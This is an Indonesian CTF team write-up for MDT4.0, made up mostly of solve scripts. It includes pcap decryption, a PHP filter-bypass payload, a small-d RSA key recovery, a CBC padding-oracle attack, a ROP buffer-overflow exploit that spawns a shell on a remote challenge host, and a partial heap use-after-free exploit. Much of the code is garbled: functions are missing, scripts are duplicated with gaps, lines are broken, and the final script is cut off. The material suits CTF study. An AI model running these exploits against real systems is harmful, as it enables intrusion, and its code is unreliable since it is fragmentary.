MDT4.0 - You Know, I Wumbo, You Wumbo, He She Me Wumbo, Wumbo, Wumboing, We'll Have Thee Wumbo, Wumborama, Wumbology, The Study of Wumbo
MDT4.0 - You Know, I Wumbo, You Wumbo, He She Me Wumbo, Wumbo, Wumboing, We'll Have Thee Wumbo, Wumborama, Wumbology, The Study of Wumbo
MDT4.0 - You Know, I Wumbo, You Wumbo, He She Me Wumbo, Wumbo, Wumboing, We'll Have Thee Wumbo, Wumborama, Wumbology, The Study of Wumbo
0 CTF
Tim
Forensic 3
Echo-shell 3
Web 9
Lame Calc 9
Cryptography 14
Baby Key 14
Unpredictable 18
Binary Exploitation 26
Baby Echo 26
Baby UAF 35
Forensic
Echo-shell
Diberikan file bernama shell.pcap dan server.py, setelah ditelusuri lebih lanjut ternyata pcap
dump yang diberikan ternyata berasal dari komunikasi “shell” yang terenkripsi dari
client(IP:172.39.0.1) dan server(IP:172.39.0.1).
Selanjutnya kami baca baca code dari server.py. Apabila ditelusuri, alur bagaimana client dan
server berkomunikasi sebagai berikut:
CLIENTrequest:
<length>(4bytes)
"PING"(4bytes)
LZMA.compress(<shell_command>)
SERVERresponse:
<length>(4bytes)
"PONG"(4bytes)
LZMA.compress(<AES_IV>(16bytes) + <encrypted_data>)
<checksum>(4bytes)
Untuk enkripsi yang digunakan menggunakan AES CBC dengan key yang berasal python
random dengan seed sama dengan TIME saat CLIENT melakukan request. Untuk
mengetahui command yang dikirimkan dan bagaimana SERVER merespon kami
menggunakan script python seperti berikut
import re
import os
import zlib
import struct
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from scapy.all import *
req_data = []
res_data = []
def read_packet_req(data):
try:
data = data[8:]
data = zlib.decompress(data)
except :
data = 'INVALID'
req_data.append(data)
except:
data = 'INVALID'
else:
data = 'INVALID'
res_data.append(data)
res_ip = "172.39.0.2"
req_ip = "172.39.0.1"
scapy_cap = rdpcap('shell.pcap')
req_packet_times = []
for packet in scapy_cap:
time = int(packet.time)
src = packet[IP].src
data = packet[ICMP].load
if src == res_ip:
read_packet_res(req_packet_times.pop(0), data)
else:
print("IP INVALID")
for i in range(len(req_data)):
req = req_data[i]
if(req != "INVALID"):
req = req.decode("utf-8")
print("PING: ",req)
print("PONG: ",res_data[i])
import re
import os
import zlib
import struct
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from scapy.all import *
req_data = []
res_data = []
def read_packet_req(data):
try:
data = data[8:]
data = zlib.decompress(data)
except :
data = 'INVALID'
req_data.append(data)
def read_packet_res(packet_before_time, data):
except:
data = 'INVALID'
else:
data = 'INVALID'
res_data.append(data)
res_ip = "172.39.0.2"
req_ip = "172.39.0.1"
scapy_cap = rdpcap('shell.pcap')
req_packet_times = []
for packet in scapy_cap:
time = int(packet.time)
src = packet[IP].src
data = packet[ICMP].load
if src == res_ip:
read_packet_res(req_packet_times.pop(0), data)
else:
print("IP INVALID")
flag_data = []
password_data = []
for i in range(len(req_data)):
req = req_data[i]
if(req != "INVALID"):
req = req.decode("utf-8")
print("PING: ",req)
print("PONG: ",res_data[i])
if(file_name == "files/flag.zip"):
flag_data.append([offset, data])
elif(file_name == "files/password.txt"):
password_data.append([offset, data])
Flag : MDT4.0{th3se_feels__ls_echoing_f3ae9721da}
Web
Lame Calc
<?php
if (isset($_POST["equation"])){
$eq = $_POST["equation"];
if(preg_match("/\~|\&|\||\[|\]|\.|\`|\'|\||\+|\-|\>|\?|\<|\//i",$e
q)){
die("Bad Char !");
}
?>
$c= glob:///<path>/*;
$a= new DirectoryIterator($c);
foreach($a as $f) echo+$f->__toString();
Flag
MDT4.0{lame_calc_chall_yes_it_is}
Cryptography
Baby Key
Permasalahan:
https://gist.github.com/mananpal1997/73d07cdc91d58b4eb5c818aaa
#!/usr/bin/env python3
key = RSA.import_key(open('key.pem').read())
enc = int.from_bytes(open('flag.enc', 'rb').read(), 'little')
print(enc)
print("E : ", key.e)
e = key.e
print("N : ", key.n)
n= key.n
# enc = int.to_bytes(pow(msg, key.e, key.n), 128, 'little')
# open('flag.enc', 'wb').write(enc)
def convergents_from_contfrac(frac):
# computes the list of convergents using the list of
partial quotients
convs = []
for i in range(len(frac)):
convs.append(contfrac_to_rational(frac[0: i]))
return convs
def contfrac_to_rational(frac):
# Converts a finite continued fraction [a0, ..., an] to
an x/y rational.
if len(frac) == 0:
return (0, 1)
num = frac[-1]
denom = 1
for _ in range(-2, -len(frac) - 1, -1):
num, denom = frac[_] * num + denom, num
return (num, denom)
def isqrt(n):
x = n
y = (x + 1) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
def crack_rsa(e, n):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)
d = crack_rsa(e, n)
print("D : ", d)
m = pow(enc, d, n)
m = int(str(m), 8)
print(m)
print(long_to_bytes(m)[::-1])
Flag MDT4.0{small_d__i_mean_d_as_RSA_private_key}
Unpredictable
Permasalahan:
Diberikan service nc dengan source server.py. Algoritma
enkripsi yang digunakan adalah AES-CBC dengan key size 128
bit. Key dan IV diperoleh secara random. Meskipun flag
terenkripsi (menu 1), flag juga bisa didekripsi dengan
menggunakan menu 3, namun hasil dekripsinya merupakan SHA256.
Solusi:
Vulnerability pada soal ini terdapat pada fungsi unpad dan
penggunaan mode operasi CBC. Sistem akan melakukan dekripsi
pada ciphertext yang diberikan kemudian dilakukan unpad pada
plaintext dengan melihat nilai pada byte terakhir plaintext.
Skema:
Recovery byte pertama
#!/usr/bin/python2
from pwn import *
def connect():
# r = process("./server.py")
r = remote("103.152.242.222", 30001)
return r
r = connect()
print(r.recvuntil("------------------------------"))
r.sendlineafter("> ", str(1))
print(r.recvuntil("| Encrypt(FLAG): "))
ciphertext = r.recvline().strip().decode('hex')
print(ciphertext)
r.close()
block_ct = []
for i in range(0, len(ciphertext), 16):
block_ct.append(ciphertext[i:i+16])
# exit()
flag = ""
charset =
"QWERTYUIOPASDFGHJKLZXCVBNM._1234567890-+?@}{qwertyuiopasdfgh
jklzxcvbnm"
for i in range(len(block_ct)):
check = {}
plaintext = ""
for j in range(16):
r = connect()
r.recvuntil("------------------------------")
r.sendlineafter("> ", str(1))
r.recvuntil("| Encrypt(FLAG): ")
ciphertext = r.recvline().strip().decode('hex')
ciphertext.encode('hex')
tmp = ciphertext[i*16:i*16+16]
target = ciphertext[(i+1)*16:(i+1)*16+16]
if j in check.keys():
break
check[j] = {}
for k in range(j+1):
if k in check[j].keys():
break
check[j][k] = {}
for char in charset:
check[j][k][SHA256.new(plaintext+char).hexdigest()] =
plaintext+char
for l in range(256):
# print("Iterasi ke: ", l)
r.sendlineafter("> ", str(3))
iv = tmp[:-1] + chr(l)
# print("IV :", iv)
encodedHex = (iv + target).encode('hex')
# print("target :", target.encode('hex'))
# print("encodedHex :", encodedHex.encode('hex'))
r.sendlineafter("| ct: ", encodedHex)
r.recvuntil("| SHA256(Decrypt(ct)): ")
hash = r.recvline().strip()
# print("Hash: ", hash)
if hash in check[j][k].keys():
print("Plaintext: ", plaintext)
plaintext = check[j][k][hash]
print("Flag: ", flag)
break
del check[j]
r.close()
flag+=plaintext
if "}" in flag:
print(flag)
exit()
Flag MDT4.0{We_g0t_a_one_w4y_tick3t_to_66efd9e}
Binary Exploitation
Baby Echo
int main(void) {
unsigned int n;
int i,c;
char buf[32];
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
while(1) {
printf("[1] Set Buf\n");
printf("[2] Print Buf\n");
printf("[3] Exit\n");
printf("> ");
scanf("%d", &c);
switch(c) {
case 1:
printf("How much? ");
scanf("%u", &n);
read(0, buf, n);
break;
case 2:
printf("%s\n", buf);
break;
default:
goto done;
}
}
done:
printf("Bye @,@ ~!");
return 0;
}
HOST = '103.152.242.222'
PORT = 4401
BINARY = './chall'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-h']
def padu64(b):
while(len(b) < 8):
b = b + b'\x00'
return b
def read_mem_map(pid):
with open(f'/proc/{pid}/maps') as f:
x = f.readlines()
return x
def print_buf(r):
r.recvuntil(b'> ')
r.sendline(b'2')
content = r.recvuntil(b'\n[1] Set Buf')[:-len('\n[1] Set
Buf')]
return content
if __name__ == '__main__':
if(len(sys.argv) != 2 or sys.argv[1] not in ['local',
'remote']):
print('[+] Usage: play.py [local|remote]')
elif(sys.argv[1] == 'local'):
r = process(BINARY)
# gdb.attach(r)
# leak canary
leak_canary_payload = 'A'*41
set_buf(r, 41, leak_canary_payload)
canary = b'\x00' + print_buf(r)[41:41+7]
canary = u64(canary)
leak_stack_payload = 'A'*80
set_buf(r, 80, leak_stack_payload)
stack = u64(print_buf(r)[80:]+b'\x00\x00')
log.info(f'STACK {hex(stack)}')
# pwn
ret_inst = p64(base + 0x000000000000901a)
p = b'A'*40
p += p64(canary)
p += b'A'*8
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += p64(base+0x000000000001787e) # pop rsi ; ret
p += p64(base+0x00000000000eb000) # @ .data
p += p64(base+0x00000000000621c7) # pop rax ; ret
p += b'/bin//sh'
p += p64(base+0x00000000000a8985) # mov qword ptr [rsi], rax
; ret
p += p64(base+0x000000000001787e) # pop rsi ; ret
p += p64(base+0x00000000000eb008) # @ .data + 8
p += p64(base+0x0000000000056db9) # xor rax, rax ; ret
p += p64(base+0x00000000000a8985) # mov qword ptr [rsi], rax
; ret
p += p64(base+0x0000000000009c6a) # pop rdi ; ret
p += p64(base+0x00000000000eb000) # @ .data
p += p64(base+0x000000000001787e) # pop rsi ; ret
p += p64(base+0x00000000000eb008) # @ .data + 8
p += p64(base+0x0000000000009b6f) # pop rdx ; ret
p += p64(base+0x00000000000eb008) # @ .data + 8
p += p64(base+0x0000000000056db9) # xor rax, rax ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x0000000000009663) # syscall
set_buf(r, len(p), p)
r.interactive()
else:
r = remote(HOST, PORT)
# leak canary
leak_canary_payload = 'A'*41
set_buf(r, 41, leak_canary_payload)
canary = b'\x00' + print_buf(r)[41:41+7]
canary = u64(canary)
# leak base addr
leak_base_payload = 'A'*56
set_buf(r, 56, leak_base_payload)
ret = u64(print_buf(r)[56:]+b'\x00\x00')
base = ret - 43616
log.info(f'BASE {hex(base)}')
# pwn
ret_inst = p64(base + 0x000000000000901a)
p = b'A'*40
p += p64(canary)
p += b'A'*8
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += ret_inst
p += p64(base+0x000000000001787e) # pop rsi ; ret
p += p64(base+0x00000000000eb000) # @ .data
p += p64(base+0x00000000000621c7) # pop rax ; ret
p += b'/bin//sh'
p += p64(base+0x00000000000a8985) # mov qword ptr [rsi], rax
; ret
p += p64(base+0x000000000001787e) # pop rsi ; ret
p += p64(base+0x00000000000eb008) # @ .data + 8
p += p64(base+0x0000000000056db9) # xor rax, rax ; ret
p += p64(base+0x00000000000a8985) # mov qword ptr [rsi], rax
; ret
p += p64(base+0x0000000000009c6a) # pop rdi ; ret
p += p64(base+0x00000000000eb000) # @ .data
p += p64(base+0x000000000001787e) # pop rsi ; ret
p += p64(base+0x00000000000eb008) # @ .data + 8
p += p64(base+0x0000000000009b6f) # pop rdx ; ret
p += p64(base+0x00000000000eb008) # @ .data + 8
p += p64(base+0x0000000000056db9) # xor rax, rax ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x000000000009dff0) # add rax, 1 ; ret
p += p64(base+0x0000000000009663) # syscall
set_buf(r, len(p), p)
r.interactive()
Flag
MDT4.0{jU5t_4n_e3sy_m0de3rn_bufferoverflow}
Baby UAF
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
unsigned long int read_int();
void readline(char* buf, unsigned int size);
typedef struct {
unsigned int size;
char* buf;
} ss;
ss* arr[8];
int menu() {
printf("[1] Alloc\n");
printf("[2] Edit\n");
printf("[3] Print\n");
printf("[4] Delete\n");
printf("[5] Exit\n");
printf("> ");
return (int)read_int();
}
int main(void) {
int c, idx;
unsigned int size;
char* buf;
ss* tmp;
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
while(1) {
c = menu();
switch(c) {
case 1:
printf("idx: ");
idx = get_idx();
if(arr[idx] != NULL ) {
printf("Already allocated\n");
break;
}
if(!(tmp = malloc(sizeof(ss)))) {
fprintf(stderr, "malloc error\n");
exit(1);
}
printf("set size: ");
size = read_int();
if(size < 0x410 || size > 0x800) {
fprintf(stderr, "Too large or Too
small\n");
exit(1);
}
if(!(buf = malloc(size))) {
fprintf(stderr, "malloc error\n");
exit(1);
}
printf("set content: ");
readline(buf, size);
tmp->buf = buf;
tmp->size = size;
arr[idx] = tmp;
printf("done\n");
break;
case 2:
printf("idx: ");
idx = get_idx();
if(arr[idx] == NULL) {
printf("not allocated\n");
break;
}
printf("set content: ");
readline(arr[idx]->buf, arr[idx]->size);
break;
case 3:
printf("idx: ");
idx = get_idx();
if(arr[idx] == NULL) {
printf("not allocated\n");
break;
}
printf("content: %s\n", arr[idx]->buf);
break;
case 4:
printf("idx: ");
idx = get_idx();
if(arr[idx] == NULL) {
printf("not allocated\n");
break;
}
free(arr[idx]->buf);
break;
case 5:
printf("Bye Q·Q ~!\n");
goto done;
}
}
done:
return 0;
}
#!/usr/bin/python3
from pwn import *
import sys
HOST = '103.152.242.222'
PORT = 4402
BINARY = './chall'
LIBC = './libc.so.6'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-h']
def alloc(r, idx, size, content):
r.recvuntil('> ')
r.sendline('1')
r.recvuntil('idx: ')
r.sendline(str(idx))
r.recvuntil('size: ')
r.sendline(str(size))
r.recvuntil('content: ')
r.sendline(content)
res = r.recvline()
if b'done' in res:
return True
return False
def padu64(b):
while(len(b) < 8):
b = b + b'\x00'
return b
def read_mem_map(pid):
with open(f'/proc/{pid}/maps') as f:
x = f.readlines()
return x
if __name__ == '__main__':
if(len(sys.argv) != 2 or sys.argv[1] not in ['local',
'remote']):
print('[+] Usage: play.py [local|remote]')
elif(sys.argv[1] == 'local'):
r = process(BINARY)
libc = ELF(LIBC)
# gdb.attach(r)
mem_maps = read_mem_map(r.pid)
for addr in mem_maps:
print(addr.strip())
leak = u64(padu64(show(r,5)))
base_libc = leak - 2014176
log.info(f'[+] LIBC_BASE {hex(base_libc)}')
leak = u64(padu64(show(r,5)))
base_libc = leak - 2014176
log.info(f'[+] LIBC_BASE {hex(base_libc)}')